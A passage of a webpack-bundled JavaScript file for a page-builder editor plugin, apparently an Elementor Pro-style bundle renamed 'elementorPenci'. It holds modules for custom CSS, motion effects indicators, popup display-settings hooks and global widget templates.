				value: function addCustomCss(css, context) {
					if (!context) {
						return;
					}

					var model = context.model,
						customCSS = model.get('settings').get('custom_css');
					var selector = '.elementor-element.elementor-element-' + model.get('id');

					if ('document' === model.get('elType')) {
						selector = elementor.config.document.settings.cssWrapperSelector;
					}

					if (customCSS) {
						css += customCSS.replace(/selector/g, selector);
					}

					return css;
				}
			}, {
				key: "onElementorInit",
				value: function onElementorInit() {
					elementor.hooks.addFilter('editor/style/styleText', this.addCustomCss);
					elementor.on('navigator:init', this.onNavigatorInit.bind(this));
				}
			}, {
				key: "onNavigatorInit",
				value: function onNavigatorInit() {
					elementor.navigator.indicators.customCSS = {
						icon: 'code-bold',
						settingKeys: ['custom_css'],
						title: elementorPenci.translate('custom_css'),
						section: 'section_custom_css'
					};
				}
			}]);
			return _default;
		}(elementorModules.editor.utils.Module);

		exports.default = _default;

		/***/ }),
	/* 353 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _default = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(_default, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				(0, _classCallCheck2.default)(this, _default);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_default, [{
				key: "onElementorInit",
				value: function onElementorInit() {
					elementor.on('navigator:init', this.onNavigatorInit.bind(this));
				}
			}, {
				key: "onNavigatorInit",
				value: function onNavigatorInit() {
					elementor.navigator.indicators.motionFX = {
						icon: 'flash',
						title: elementorPenci.translate('motion_effects'),
						settingKeys: ['motion_fx_motion_fx_scrolling', 'motion_fx_motion_fx_mouse', 'background_motion_fx_motion_fx_scrolling', 'background_motion_fx_motion_fx_mouse'],
						section: 'section_effects'
					};
				}
			}]);
			return _default;
		}(elementorModules.editor.utils.Module);

		exports.default = _default;

		/***/ }),
	/* 354 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _component = _interopRequireDefault(__webpack_require__(355));

		var PopupModule = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(PopupModule, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(PopupModule);

			function PopupModule() {
				var _this;

				(0, _classCallCheck2.default)(this, PopupModule);

				for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
					args[_key] = arguments[_key];
				}

				_this = _super.call.apply(_super, [this].concat(args));
				_this.displaySettingsTypes = {
					triggers: {
						icon: 'eicon-click'
					},
					timing: {
						icon: 'eicon-cog'
					}
				};
				return _this;
			}

			(0, _createClass2.default)(PopupModule, [{
				key: "onElementorLoaded",
				value: function onElementorLoaded() {
					this.component = $e.components.register(new _component.default({
						manager: this
					}));
				}
			}]);
			return PopupModule;
		}(elementorModules.editor.utils.Module);

		module.exports = PopupModule;

		/***/ }),
	/* 355 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireWildcard = __webpack_require__(148);

		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _assertThisInitialized2 = _interopRequireDefault(__webpack_require__(66));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var hooks = _interopRequireWildcard(__webpack_require__(356));

		var PopupComponent = /*#__PURE__*/function (_$e$modules$Component) {
			(0, _inherits2.default)(PopupComponent, _$e$modules$Component);

			var _super = (0, _createSuper2.default)(PopupComponent);

			function PopupComponent() {
				var _this;

				(0, _classCallCheck2.default)(this, PopupComponent);

				for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
					args[_key] = arguments[_key];
				}

				_this = _super.call.apply(_super, [this].concat(args));
				(0, _defineProperty2.default)((0, _assertThisInitialized2.default)(_this), "onPageSettingsCloseHandler", null);
				return _this;
			}

			(0, _createClass2.default)(PopupComponent, [{
				key: "getNamespace",
				value: function getNamespace() {
					return 'document/popup';
				}
			}, {
				key: "defaultHooks",
				value: function defaultHooks() {
					return this.importHooks(hooks);
				}
			}]);
			return PopupComponent;
		}($e.modules.ComponentBase);

		exports.default = PopupComponent;

		/***/ }),
	/* 356 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$keys = __webpack_require__(48);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		var _data = __webpack_require__(357);

		_Object$keys(_data).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _data[key];
				}
			});
		});

		var _ui = __webpack_require__(359);

		_Object$keys(_ui).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _ui[key];
				}
			});
		});

		/***/ }),
	/* 357 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "PopupSave", {
			enumerable: true,
			get: function get() {
				return _save.PopupSave;
			}
		});

		var _save = __webpack_require__(358);

		/***/ }),
	/* 358 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupSave = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var PopupSave = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(PopupSave, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(PopupSave);

			function PopupSave() {
				(0, _classCallCheck2.default)(this, PopupSave);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupSave, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/save/save';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-save';
				}
			}, {
				key: "getConditions",
				value: function getConditions() {
					return 'popup' === elementor.config.document.type;
				}
			}, {
				key: "apply",
				value: function apply() {
					var settings = {};
					jQuery.each(elementorPenci.modules.popup.displaySettingsTypes, function (type, data) {
						settings[type] = data.model.toJSON({
							remove: ['default']
						});
					});
					elementorPenci.ajax.addRequest('popup_save_display_settings', {
						data: {
							settings: settings
						}
					});
				}
			}]);
			return PopupSave;
		}($e.modules.hookData.After);

		exports.PopupSave = PopupSave;
		var _default = PopupSave;
		exports.default = _default;

		/***/ }),
	/* 359 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "PopupAddInstructions", {
			enumerable: true,
			get: function get() {
				return _addInstructions.PopupAddInstructions;
			}
		});

		_Object$defineProperty(exports, "PopupAddLibraryTab", {
			enumerable: true,
			get: function get() {
				return _addLibraryTab.PopupAddLibraryTab;
			}
		});

		_Object$defineProperty(exports, "PopupAddTriggers", {
			enumerable: true,
			get: function get() {
				return _addTriggers.PopupAddTriggers;
			}
		});

		_Object$defineProperty(exports, "PopupRemoveInstructions", {
			enumerable: true,
			get: function get() {
				return _removeInstructions.PopupRemoveInstructions;
			}
		});

		_Object$defineProperty(exports, "PopupRemoveLibraryTab", {
			enumerable: true,
			get: function get() {
				return _removeLibraryTab.PopupRemoveLibraryTab;
			}
		});

		_Object$defineProperty(exports, "PopupRemoveTriggers", {
			enumerable: true,
			get: function get() {
				return _removeTriggers.PopupRemoveTriggers;
			}
		});

		var _addInstructions = __webpack_require__(360);

		var _addLibraryTab = __webpack_require__(361);

		var _addTriggers = __webpack_require__(362);

		var _removeInstructions = __webpack_require__(364);

		var _removeLibraryTab = __webpack_require__(365);

		var _removeTriggers = __webpack_require__(366);

		/***/ }),
	/* 360 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupAddInstructions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _baseHookPopupAfter = _interopRequireDefault(__webpack_require__(289));

		var PopupAddInstructions = /*#__PURE__*/function (_BaseHookPopupAfter) {
			(0, _inherits2.default)(PopupAddInstructions, _BaseHookPopupAfter);

			var _super = (0, _createSuper2.default)(PopupAddInstructions);

			function PopupAddInstructions() {
				(0, _classCallCheck2.default)(this, PopupAddInstructions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupAddInstructions, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/open';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-add-instructions';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = elementor.documents.get(args.id);
					return 'popup' === document.config.type && !elementor.config.user.introduction.popupSettings;
				}
			}, {
				key: "apply",
				value: function apply() {
					// Expose for the remove hook.
					this.component.onPageSettingsCloseHandler = this.onPageSettingsClose.bind(this);
					$e.components.get('panel/page-settings').on('route/close', this.component.onPageSettingsCloseHandler);
				}
			}, {
				key: "onPageSettingsClose",
				value: function onPageSettingsClose() {
					var introduction = this.getIntroduction();
					introduction.show(elementor.getPanelView().footer.currentView.ui.settings[0]);
					introduction.setViewed();
					$e.components.get('panel/page-settings').off('route/close', this.component.onPageSettingsCloseHandler);
				}
			}, {
				key: "getIntroduction",
				value: function getIntroduction() {
					return new elementorModules.editor.utils.Introduction({
						introductionKey: 'popupSettings',
						dialogOptions: {
							id: 'elementor-popup-settings-introduction',
							headerMessage: '<i class="eicon-info"></i>' + elementorPenci.translate('popup_settings_introduction_title'),
							message: elementorPenci.translate('popup_settings_introduction_message'),
							closeButton: true,
							closeButtonClass: 'eicon-close',
							position: {
								my: 'left bottom',
								at: 'right bottom-5',
								autoRefresh: true
							},
							hide: {
								onOutsideClick: false
							}
						}
					});
				}
			}]);
			return PopupAddInstructions;
		}(_baseHookPopupAfter.default);

		exports.PopupAddInstructions = PopupAddInstructions;
		var _default = PopupAddInstructions;
		exports.default = _default;

		/***/ }),
	/* 361 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupAddLibraryTab = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var PopupAddLibraryTab = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(PopupAddLibraryTab, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(PopupAddLibraryTab);

			function PopupAddLibraryTab() {
				(0, _classCallCheck2.default)(this, PopupAddLibraryTab);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupAddLibraryTab, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/open';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-add-library-tab';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = elementor.documents.get(args.id);
					return 'popup' === document.config.type;
				}
			}, {
				key: "apply",
				value: function apply() {
					$e.components.get('library').addTab('templates/popups', {
						title: elementorPenci.translate('popups'),
						filter: {
							source: 'remote',
							type: 'popup'
						}
					}, 1);
				}
			}]);
			return PopupAddLibraryTab;
		}($e.modules.hookUI.After);

		exports.PopupAddLibraryTab = PopupAddLibraryTab;
		var _default = PopupAddLibraryTab;
		exports.default = _default;

		/***/ }),
	/* 362 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupAddTriggers = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _displaySettings = _interopRequireDefault(__webpack_require__(363));

		var PopupAddTriggers = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(PopupAddTriggers, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(PopupAddTriggers);

			function PopupAddTriggers() {
				(0, _classCallCheck2.default)(this, PopupAddTriggers);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupAddTriggers, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/open';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-add-triggers';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = elementor.documents.get(args.id);
					return 'popup' === document.config.type;
				}
			}, {
				key: "apply",
				value: function apply() {
					if (elementor.panel) {
						this.addUI();
					} else {
						// First open, the panel is not available yet.
						elementor.on('preview:loaded', this.addUI.bind(this));
					}
				}
			}, {
				key: "addUI",
				value: function addUI() {
					this.addPanelFooterSubmenuItems();
					this.addPublishTabs();
				}
			}, {
				key: "addPublishTabs",
				value: function addPublishTabs() {
					var config = elementor.config.document.displaySettings,
						component = $e.components.get('theme-builder-publish'),
						module = elementorPenci.modules.popup;
					jQuery.each(module.displaySettingsTypes, function (type, data) {
						// Init models for editor save.
						data.model = new elementorModules.editor.elements.models.BaseSettings(config[type].settings, {
							controls: config[type].controls
						});
						component.addTab(type, {
							View: _displaySettings.default,
							viewOptions: {
								name: type,
								id: "elementor-popup-".concat(type, "__controls"),
								model: data.model,
								controls: data.model.controls
							},
							name: type,
							title: elementorPenci.translate(type),
							description: elementorPenci.translate("popup_publish_screen_".concat(type, "_description")),
							image: elementorPenci.config.urls.modules + "popup/assets/images/".concat(type, "-tab.svg")
						});
					});
				}
			}, {
				key: "addPanelFooterSubmenuItems",
				value: function addPanelFooterSubmenuItems() {
					var component = $e.components.get('theme-builder-publish'),
						displaySettingsTypes = elementorPenci.modules.popup.displaySettingsTypes;
					jQuery.each(displaySettingsTypes, function (type, data) {
						elementor.getPanelView().footer.currentView.addSubMenuItem('saver-options', {
							before: 'save-template',
							name: type,
							icon: data.icon,
							title: elementorPenci.translate(type),
							callback: function callback() {
								return $e.route(component.getTabRoute(type));
							}
						});
					});
				}
			}]);
			return PopupAddTriggers;
		}($e.modules.hookUI.After);

		exports.PopupAddTriggers = PopupAddTriggers;
		var _default = PopupAddTriggers;
		exports.default = _default;

		/***/ }),
	/* 363 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _keys = _interopRequireDefault(__webpack_require__(48));

		__webpack_require__(101);

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _get2 = _interopRequireDefault(__webpack_require__(61));

		var _getPrototypeOf2 = _interopRequireDefault(__webpack_require__(25));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _default = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(_default, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				var _this;

				(0, _classCallCheck2.default)(this, _default);

				for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
					args[_key] = arguments[_key];
				}

				_this = _super.call.apply(_super, [this].concat(args));
				_this.template = _.noop;
				_this.activeTab = 'content';

				_this.listenTo(_this.model, 'change', _this.onModelChange);

				return _this;
			}

			(0, _createClass2.default)(_default, [{
				key: "getNamespaceArray",
				value: function getNamespaceArray() {
					return ['popup', 'display-settings'];
				}
			}, {
				key: "className",
				value: function className() {
					return (0, _get2.default)((0, _getPrototypeOf2.default)(_default.prototype), "className", this).call(this) + ' elementor-popup__display-settings';
				}
			}, {
				key: "toggleGroup",
				value: function toggleGroup(groupName, $groupElement) {
					$groupElement.toggleClass('elementor-active', !!this.model.get(groupName));
				}
			}, {
				key: "onRenderTemplate",
				value: function onRenderTemplate() {
					this.activateFirstSection();
				}
			}, {
				key: "onRender",
				value: function onRender() {
					var _this2 = this;

					var name = this.getOption('name');
					var $groupWrapper;
					this.children.each(function (child) {
						var type = child.model.get('type');

						if ('heading' !== type) {
							if ($groupWrapper) {
								$groupWrapper.append(child.$el);
							}

							return;
						}

						var groupName = child.model.get('name').replace('_heading', '');
						$groupWrapper = jQuery('<div>', {
							id: "elementor-popup__".concat(name, "-controls-group--").concat(groupName),
							class: 'elementor-popup__display-settings_controls_group'
						});
						var $imageWrapper = jQuery('<div>', {
								class: 'elementor-popup__display-settings_controls_group__icon'
							}),
							$image = jQuery('<img>', {
								src: elementorPenci.config.urls.modules + "popup/assets/images/".concat(name, "/").concat(groupName, ".svg")
							});
						$imageWrapper.html($image);
						$groupWrapper.html($imageWrapper);
						child.$el.before($groupWrapper);
						$groupWrapper.append(child.$el);

						_this2.toggleGroup(groupName, $groupWrapper);
					});
				}
			}, {
				key: "onModelChange",
				value: function onModelChange() {
					var changedControlName = (0, _keys.default)(this.model.changed)[0],
						changedControlView = this.getControlViewByName(changedControlName);

					if ('switcher' !== changedControlView.model.get('type')) {
						return;
					}

					this.toggleGroup(changedControlName, changedControlView.$el.parent());
				}
			}]);
			return _default;
		}(elementorModules.editor.views.ControlsStack);

		exports.default = _default;

		/***/ }),
	/* 364 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupRemoveInstructions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _baseHookPopupAfter = _interopRequireDefault(__webpack_require__(289));

		var PopupRemoveInstructions = /*#__PURE__*/function (_BaseHookPopupAfter) {
			(0, _inherits2.default)(PopupRemoveInstructions, _BaseHookPopupAfter);

			var _super = (0, _createSuper2.default)(PopupRemoveInstructions);

			function PopupRemoveInstructions() {
				(0, _classCallCheck2.default)(this, PopupRemoveInstructions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupRemoveInstructions, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/unload';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-remove-instructions';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = args.document;
					return 'popup' === document.config.type && !elementor.config.user.introduction.popupSettings;
				}
			}, {
				key: "apply",
				value: function apply() {
					$e.components.get('panel/page-settings').off('route/close', this.component.onPageSettingsCloseHandler);
				}
			}]);
			return PopupRemoveInstructions;
		}(_baseHookPopupAfter.default);

		exports.PopupRemoveInstructions = PopupRemoveInstructions;
		var _default = PopupRemoveInstructions;
		exports.default = _default;

		/***/ }),
	/* 365 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupRemoveLibraryTab = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var PopupRemoveLibraryTab = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(PopupRemoveLibraryTab, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(PopupRemoveLibraryTab);

			function PopupRemoveLibraryTab() {
				(0, _classCallCheck2.default)(this, PopupRemoveLibraryTab);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupRemoveLibraryTab, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/unload';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-remove-library-tab';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = args.document;
					return 'popup' === document.config.type;
				}
			}, {
				key: "apply",
				value: function apply() {
					$e.components.get('library').removeTab('templates/popups');
				}
			}]);
			return PopupRemoveLibraryTab;
		}($e.modules.hookUI.After);

		exports.PopupRemoveLibraryTab = PopupRemoveLibraryTab;
		var _default = PopupRemoveLibraryTab;
		exports.default = _default;

		/***/ }),
	/* 366 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupRemoveTriggers = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var PopupRemoveTriggers = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(PopupRemoveTriggers, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(PopupRemoveTriggers);

			function PopupRemoveTriggers() {
				(0, _classCallCheck2.default)(this, PopupRemoveTriggers);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupRemoveTriggers, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/unload';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-remove-triggers';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = args.document;
					return 'popup' === document.config.type;
				}
			}, {
				key: "apply",
				value: function apply() {
					this.removePanelFooterSubmenuItems();
					this.removePublishTabs();
				}
			}, {
				key: "removePanelFooterSubmenuItems",
				value: function removePanelFooterSubmenuItems() {
					var displaySettingsTypes = elementorPenci.modules.popup.displaySettingsTypes;
					jQuery.each(displaySettingsTypes, function (type) {
						elementor.getPanelView().footer.currentView.removeSubMenuItem('saver-options', {
							name: type
						});
					});
				}
			}, {
				key: "removePublishTabs",
				value: function removePublishTabs() {
					var component = $e.components.get('theme-builder-publish'),
						displaySettingsTypes = elementorPenci.modules.popup.displaySettingsTypes;
					jQuery.each(displaySettingsTypes, function (type) {
						component.removeTab(type);
					});
				}
			}]);
			return PopupRemoveTriggers;
		}($e.modules.hookUI.After);

		exports.PopupRemoveTriggers = PopupRemoveTriggers;
		var _default = PopupRemoveTriggers;
		exports.default = _default;

		/***/ }),
	/* 367 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _stringify = _interopRequireDefault(__webpack_require__(182));

		var _keys = _interopRequireDefault(__webpack_require__(48));

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _component = _interopRequireDefault(__webpack_require__(368));

		var Module = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(Module, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(Module);

			function Module() {
				var _this;

				(0, _classCallCheck2.default)(this, Module);

				for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
					args[_key] = arguments[_key];
				}

				_this = _super.call.apply(_super, [this].concat(args));
				_this.globalModels = {};
				_this.panelWidgets = null; // TODO: This property is unused.

				_this.templatesAreSaved = true;
				return _this;
			}

			(0, _createClass2.default)(Module, [{
				key: "addGlobalWidget",
				value: function addGlobalWidget(id, args) {
					args = _.extend({}, args, {
						categories: [],
						icon: elementor.widgetsCache[args.widgetType].icon,
						widgetType: args.widgetType,
						custom: {
							templateID: id
						}
					});
					var globalModel = this.createGlobalModel(id, args);
					return this.panelWidgets.add(globalModel);
				}
			}, {
				key: "createGlobalModel",
				value: function createGlobalModel(id, modelArgs) {
					var globalModel = new elementor.modules.elements.models.Element(modelArgs),
						settingsModel = globalModel.get('settings');
					globalModel.set('id', id);
					settingsModel.on('change', _.bind(this.onGlobalModelChange, this));
					return this.globalModels[id] = globalModel;
				}
			}, {
				key: "onGlobalModelChange",
				value: function onGlobalModelChange() {
					this.templatesAreSaved = false;
				}
			}, {
				key: "setWidgetType",
				value: function setWidgetType() {
					elementor.hooks.addFilter('element/view', function (DefaultView, model) {
						if (model.get('templateID')) {
							return __webpack_require__(375);
						}

						return DefaultView;
					});
					elementor.hooks.addFilter('element/model', function (DefaultModel, attrs) {
						if (attrs.templateID) {
							return __webpack_require__(376);
						}

						return DefaultModel;
					});
				}
			}, {
				key: "registerTemplateType",
				value: function registerTemplateType() {
					elementor.templates.registerTemplateType('widget', {
						showInLibrary: false,
						saveDialog: {
							title: elementorPenci.translate('global_widget_save_title'),
							description: elementorPenci.translate('global_widget_save_description')
						},
						prepareSavedData: function prepareSavedData(data) {
							data.widgetType = data.content[0].widgetType;
							return data;
						},
						ajaxParams: {
							success: this.onWidgetTemplateSaved.bind(this)
						}
					});
				}
			}, {
				key: "addSavedWidgetsToPanel",
				value: function addSavedWidgetsToPanel() {
					var _this2 = this;

					this.panelWidgets = new Backbone.Collection();

					_.each(elementorPenci.config.widget_templates, function (templateArgs, id) {
						_this2.addGlobalWidget(id, templateArgs);
					});

					elementor.hooks.addFilter('panel/elements/regionViews', function (regionViews) {
						_.extend(regionViews.global, {
							view: __webpack_require__(377),
							options: {
								collection: _this2.panelWidgets
							}
						});

						return regionViews;
					});
				}
			}, {
				key: "addPanelPage",
				value: function addPanelPage() {
					elementor.getPanelView().addPage('globalWidget', {
						view: __webpack_require__(379)
					});
				}
			}, {
				key: "getGlobalModels",
				value: function getGlobalModels(id) {
					if (!id) {
						return this.globalModels;
					}

					return this.globalModels[id];
				}
			}, {
				key: "saveTemplates",
				value: function saveTemplates() {
					if (!(0, _keys.default)(this.globalModels).length) {
						return;
					}

					var templatesData = [];

					_.each(this.globalModels, function (templateModel, id) {
						if ('loaded' !== templateModel.get('settingsLoadedStatus')) {
							return;
						}

						var data = {
							content: (0, _stringify.default)([templateModel.toJSON({
								remove: ['default']
							})]),
							source: 'local',
							type: 'widget',
							id: id
						};
						templatesData.push(data);
					});

					if (!templatesData.length) {
						return;
					}

					elementorCommon.ajax.addRequest('update_templates', {
						data: {
							templates: templatesData
						},
						success: function success() {
							this.templatesAreSaved = true;
						}
					});
				}
			}, {
				key: "requestGlobalModelSettings",
				value: function requestGlobalModelSettings(globalModel, callback, container) {
					elementor.templates.requestTemplateContent('local', globalModel.get('id'), {
						success: function success(data) {
							globalModel.set('settingsLoadedStatus', 'loaded').trigger('settings:loaded');
							var settings = data.content[0].settings,
								settingsModel = globalModel.get('settings');
							settingsModel.handleRepeaterData(settings);
							settingsModel.set(settings); // Cover issue when dynamics comes after container already created.

							if (container) {
								delete container.view.container;
								container.view.getContainer();
							}

							if (callback) {
								callback(globalModel);
							}
						}
					});
				}
			}, {
				key: "setWidgetContextMenuSaveAction",
				value: function setWidgetContextMenuSaveAction() {
					elementor.hooks.addFilter('elements/widget/contextMenuGroups', function (groups, widget) {
						var saveGroup = _.findWhere(groups, {
							name: 'save'
						});

						if (!saveGroup) {
							return groups;
						}

						var saveAction = _.findWhere(saveGroup.actions, {
							name: 'save'
						});

						saveAction.callback = widget.save.bind(widget);
						delete saveAction.shortcut;
						return groups;
					});
				}
			}, {
				key: "onElementorInit",
				value: function onElementorInit() {
					var _this3 = this;

					this.registerTemplateType();
					this.setWidgetContextMenuSaveAction();
					elementor.on('panel:init', function () {
